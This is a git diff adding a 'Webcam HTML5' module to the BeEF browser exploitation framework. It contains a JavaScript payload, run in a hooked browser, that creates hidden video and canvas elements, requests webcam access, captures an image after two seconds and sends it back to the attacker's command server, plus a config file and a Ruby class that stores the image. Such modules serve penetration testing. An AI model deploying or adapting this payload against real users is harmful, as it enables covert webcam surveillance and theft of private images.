diff --git a/modules/browser/webcam_html5/command.js b/modules/browser/webcam_html5/command.js
new file mode 100644
index 000000000..1c5dd24a8
--- /dev/null
+++ b/modules/browser/webcam_html5/command.js
@@ -0,0 +1,50 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+
+beef.execute(function() {
+ var vid_id = beef.dom.generateID();
+ var can_id = beef.dom.generateID();
+ var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});
+ var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});
+ $j('body').append(vid_el);
+ $j('body').append(can_el);
+
+ var ctx = can_el.getContext('2d');
+
+ var localMediaStream = null;
+
+ var cap = function() {
+ if (localMediaStream) {
+ ctx.drawImage(vid_el,0,0);
+ beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
+ } else {
+ beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong');
+ }
+ }
+
+ window.URL = window.URL || window.webkitURL;
+ navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
+
+ navigator.getUserMedia({video:true},function(stream) {
+ vid_el.src = window.URL.createObjectURL(stream);
+ localMediaStream = stream;
+ setTimeout(cap,2000);
+
+ }, function(err) {
+ beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed');
+ });
+
+
+
+
+});
+
+
+
+
+
diff --git a/modules/browser/webcam_html5/config.yaml b/modules/browser/webcam_html5/config.yaml
new file mode 100644
index 000000000..fd6762121
--- /dev/null
+++ b/modules/browser/webcam_html5/config.yaml
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+ module:
+ webcam_html5:
+ enable: true
+ category: "Browser"
+ name: "Webcam HTML5"
+ description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam."
+ authors: ["xntrik"]
+ target:
+ user_notify: ["C"]
+ unknown: ["All"]
diff --git a/modules/browser/webcam_html5/module.rb b/modules/browser/webcam_html5/module.rb
new file mode 100644
index 000000000..78794cc3f
--- /dev/null
+++ b/modules/browser/webcam_html5/module.rb
@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+require 'base64'
+class Webcam_html5 < BeEF::Core::Command
+
+ def post_execute
+ content = {}
+ content["result"] = @datastore["result"] if not @datastore["result"].nil?
+ content["image"] = @datastore["image"] if not @datastore["image"].nil?
+ save content
+ end
+
+end